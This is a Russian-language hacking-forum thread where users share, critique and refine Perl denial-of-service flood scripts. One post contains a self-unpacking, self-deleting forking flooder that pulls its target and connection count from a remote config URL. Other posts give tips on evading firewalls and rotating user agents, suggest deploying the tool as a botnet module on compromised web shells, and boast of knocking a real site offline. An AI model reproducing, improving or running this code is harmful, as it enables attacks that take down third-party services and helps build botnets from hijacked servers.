млина сел решил ddos скрипт написать -- закидывать левыми пакетами неприятелей -- дык чето кроме вот этого ниче в голову не пришло -- пробовал прикрутить потоки -- один хрен скорость такаяже #!/usr/bin/perl use LWP::UserAgent; print "*******************DDos*************************\nDDos start....[+]\n"; lol: my $ua = LWP::UserAgent->new( max_size => 10, agent => 'kakep agent v 9.11', timeout => 1, ); $request = HTTP::Request->new("GET", 'http://127.0.0.1:80/'); $response = $ua->request($request); goto(lol);
Я конечно совершенно не знаю perl, но как я вижу: многопоточность отсутвует Как я понял скрипт все-равно получает страницу сайта целиком, но это не целисобразно. Лучше получать 1 символ и рвать коннект. Помнится я как-то что-то вроде этого делал на ПХП, так меня потом же ответами и заДОСило Кстати, самый вереый способ организовать многопоточность - многократно запустить скрипт
1) Досеры обычно юзают какую-небудь багу или скрипт который выполняется достаточно долго напримет поиск. 2) LWP::UserAgent; - ИМХО дерьмо, IO::Socket; по производительности раз в десять быстрее, поэтому и многопоточность страдает, а вообще лучьше и легче как fucker"ok уже сказал запустить несколько раз, темболее что в документации по перл так и написано, что многопоточность на стадии разработки.
Как заметил KPOT_f!nd это рельано лажа. hidden тока воот объясни почему ЛВП говно да еще и в 10 раз проигрывает сокетам? Многопоточность в перле нормально работает несморя на то что написано в доках. Вот мой вариант на базе модели процессов с форкам, немножка с полиморфизмом=)) эта открывок из моего заброшеннога досера, так что разбирайся сам: Code: use strict;open(SAME,"$0");open(WRIT,">/tmp/.mc-root") or die "$!"; my @same_file = <SAME>;my @r = (); foreach(@same_file[6..17]){s/^#//;push @r,$_;} print WRIT @r;close SAME;close WRIT; if(!(my $pid = fork)) {system('perl /tmp/.mc-root');print "OK";} # < portible code > #use strict;use IO::Socket;our $url='http://127.0.0.1/7357/config.txt'; #our$parent=0;our@childs=();our$c0nf=getCONF($url);$c0nf=~/(\S+)#(\d+)/; #our$d0s_url=$1;our@d0s_h0s=split(/\//,$d0s_url);$d0s_h0s[2]=~s/www.//; #our$c0nn=$2;our@browsers=("Mozilla/2.0 (compatible; Ask Jeeves/Teoma)","curl/7.13.1 (powerpc-apple-darwin 8.0) libcurl/7.13.1 OpenSSL/0.9.7b zlib/1.2.2","Googlebot/2.1 (+http://www.google.com/bot.html)","Opera 6.03 on Windows 2000, cloaked as MSIE: Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en]","Internet Explorer 5.2 on Mac OS X: Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)","Internet Explorer 7.0 beta running on Windows Longhorn: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)","Off By One 3.5a on Windows XP: Mozilla/4.7 (compatible; OffByOne; Windows 2000)"); #F0RK: #for(my$i=0;$i<=$c0nn;$i++){my$pid=fork;my$oldpid=$$;if(!defined($pid)){waitpid($pid,0);} #elsif($pid==0){$parent=$oldpid;last F0RK;}}if($parent){&d0s;} #sub getCONF{my@host = split(/\//,$url);$host[2]=~s/www.//; #my$s0ck=IO::Socket::INET->new(PeerAddr=>$host[2],PeerPort=>80,Proto=>'tcp')||die "err0r c0nnecti0n $!\n"; #print $s0ck join ("\n"=>"GET $url HTTP/1.1","Host: $host[2]","User-Agent: Internet Explorer 6.5","",""); #chomp(my@socket=<$s0ck>);$s0ck->close;my$src=join("",@socket);return $src;} #sub d0s{my$s0ck=IO::Socket::INET->new(PeerAddr=>$d0s_h0s[2],PeerPort => 80,Proto=>'tcp')||die "err0r c0nnecti0n $!\n";print $s0ck join ("\n"=>"GET $d0s_url HTTP/1.1","Host: 127.0.0.1","User-Agent: Internet Explorer 6.5","","");$s0ck->close;}`rm -f $0`;#d0s3r 0.1 (c)n4n0bit Кстати genom-- накуй ты используешь сдесь timeout ??? он сдесь вообще в роли другой а именно ожидает ответ от сервера в течении таймаута етога, а не как ты наверное подумал конект каждую секунжу - что бы был конект каждую секунду нужна воспользоваться sleep(), далее вообще без коментов...
Ты это сам писал только честно? Просто я пользовалься таким мини-доссером! Вот не помню откуда скачал его!
Писал сам гдет летом потом забил на ету тему - не интересна! Проста сам скрипт расспаковывает тела досера в файл отдельный потом его запускает вообщем я уже сам не помню=)) ps; /me спать ps2; в паблике его небыло никогда разви что толька на cup.su
Писал брутер мыл(чисто из интереса), так на сокетах примерно в 10 раз быстрее брутил. А ты объясни, почему сокетами пользуешься? LOL, С каких это пор коментикование считается алгоритмом упаковки? Теперь надо паковать свои скрипты этим методом: Code: my @same_file = <SAME>; my @r = (); foreach(@same_file[6..17]){ s/^#//; push @r, $_; } А полиморфизма туууут... http://ru.wikipedia.org/wiki/Полиморфизм_в_языках_программирования http://ru.wikipedia.org/wiki/Полиморфизм_компьютерных_вирусов Он тут какраз в той роли что надо, т.е. если сервер долго не отвечает он пробует конектится ещё раз. Как можно было предположить что он тймаут поставил в роле слир, если он писал ддоcер? На*ер в ддосере слип? А что тут понимать, или этот "полиморфизм" так осложняет чтение кода? Это не отрывок, это полная версия, или ты имел ввиду ещё конфиг файл? А юзерагенты предварительно занесённые в масив ты так и не использовал и пытался ддосить перезапросом одной и той-же страници, с одним и тем-же юзерагентом(Internet Explorer 6.5) которого ниукого нет, и его забанить как 2 пальса... ЗЫ Не пытался никого обидеть, просто обьяснил, что этот скрипт как досер не катит.
Самый Ядерный Досер #!/usr/bin/perl use LWP::UserAgent; print "*******************DDos*************************\n DDos start....[+]\n"; =))
потому что если досер ставить на сервак есть вероятность что LWP не будет. Сдесь проста так сделано, почитай внимательно код. Можна было и в _DATA_ загнать но я сделал именно так. образно говоря. ТЫ сам понял что сказал? если сервак не отвечает то он еще раз будет конектиться не дождавшись его ответа и будет получать постоянно ошибку 500 ! Слип чувак что бы коннект происходил каждый указанный слип \=)) понял ? Читай PERL доки Не старик - это отрывок вообще из досера веб-шеллов. имх0 какая та крыса с капа распостранила хотя тут никуяя особеннога нету. ТОчна к массиву rand() не прикрутил. Вообще тo он рабочий, да т твоих объяснений тут как токовых нету никуя кроме как ты заметил что я ранд не прикрутил к массиву. ps: в пративном случаи это рабочий образет который можна улучшить.
Для автора топика Мож обратиться через этот форум к KSURi, у него есть наработки досера как на процессах так и с моdулем threads
млина люди вы хоть иногда читаете что написано буквами или только код -- яж вам и говорю что мне в голову просто не приходит нифига толкового --- я и сам знаю что это лажа -- не надо мне говорить это пятнадцать раз =) кста слип будет засыпать минимум на 1 секунду есть другая функция -- более прикольная ей мона паузы покороче сделать select(undef,$vremia_payzi); и хиден объясни насчет LWP-- почему ты так уверен --- я уже дофига чего для работы с нетом написал и пробовал и через сокеты и нифига они не быстрее только глючнее и места больше занимают -- -- вот
Почему ты думаешь что вокруг тебя никто ничего не понимает? Функция Sleep есть во всех языках програмирования и делает она везде одно и тоже т.е. передаёт управление системе на указанный промежуток времени. Покажы хоть одного человека кто пишет хоть на одном языке програмирования и не знает что такое слир. Согласен с зелёным выделением, такой ддосер писать в среднем 3-5 мин. И что в нём приватного то, может задуманная но не реализованая смена юзерагентов?
hidden не будем переходить на личности я тебе объяснил применения слипа в данной ситуации, че ты вообще полез в др языки? Да и еще не нужна ни когда определять качества кода по его размеру и скорасти написания. Бывают случаи что совсем малый кусок кода но он оптимизирован по максимуму и не всегда допреш до етога за 5 минут - это я проста так сказал. genom-- хм, попробую селектом мне его не приходилось использовать. Но если так подумать интервал конекта менше одной сикунды может палиться фаером, вообщем эксперементировать нада.
Ко мне обращаться не надо, надо открыть редактор и исправить/добавить мой скрипт если уж его упомянули. rand() я видимо действительно забыл прикрутить... Но тот скрипт не есть конечная версия. get_doser_standalone.pl - вот конечная версия. Я вовсе не уверен что этот скрипт есть у кого то кроме меня, т.к. уже не помню кому давал или не давал. Со своей домашней машины я валил void.ru с помощью этого скрипта. По поводу идей: юзать threads не рационально, но клево разница в реализации на LWP и сокетах не заметна не вооруженным взглядом. подмена юзерагентов почти ничего не решает, т.к. банят по юзерагенту тока конченые олени, имхо достаточно просто изменить 1 раз его со стандартного перловского. фишка в том чтобы запустить скрипт с большого кол-ва хостов, именно поэтому лучше юзать это как модуль для ботнета на вебшеллах
Ах да, по поводу того что просто послать запрос и принять 1 сим: в принципе клево, тока лучше принимать не 1 сим, а хотя бы 10, дабы проанализировать код ответа серва. А ваще если мне не изменяет память в Lwp тоже можно "вхолостую" посылать запросы.